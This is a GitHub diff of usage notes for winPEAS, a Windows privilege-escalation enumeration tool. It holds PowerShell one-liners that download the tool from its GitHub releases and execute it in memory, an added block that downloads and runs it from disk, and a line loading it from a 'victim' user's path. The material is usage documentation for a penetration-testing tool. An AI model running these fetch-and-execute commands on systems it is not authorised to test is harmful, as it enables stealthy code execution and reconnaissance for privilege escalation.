File tree 1 file changed +6
-1
lines changed
1 file changed +6
-1
lines changed Original file line number Diff line number Diff line change @@ -22,10 +22,15 @@ $url = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany
22
22
# One liner to download and execute winPEASany from memory in a PS shell
23
23
$wp =[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest " $url " -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main(" " )
24
24
25
- # Before cmd in 3 lines
25
+ # The cprevios cmd in 2 lines
26
26
$wp = [System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest " $url " -UseBasicParsing | Select-Object -ExpandProperty Content));
27
27
[winPEAS.Program]::Main(" " ) # Put inside the quotes the winpeas parameters you want to use
28
28
29
+ # Download to disk and execute (super noisy)
30
+ $wc = New-Object System.Net.WebClient
31
+ $wc .DownloadFile(" https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" , " winPEASany_ofs.exe" )
32
+ .\w inPEASany_ofs.exe
33
+
29
34
# Load from disk in memory and execute:
30
35
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes(" D:\Users\victim\winPEAS.exe" )));
31
36
[winPEAS.Program]::Main(" " ) # Put inside the quotes the winpeas parameters you want to use
You can’t perform that action at this time.
0 commit comments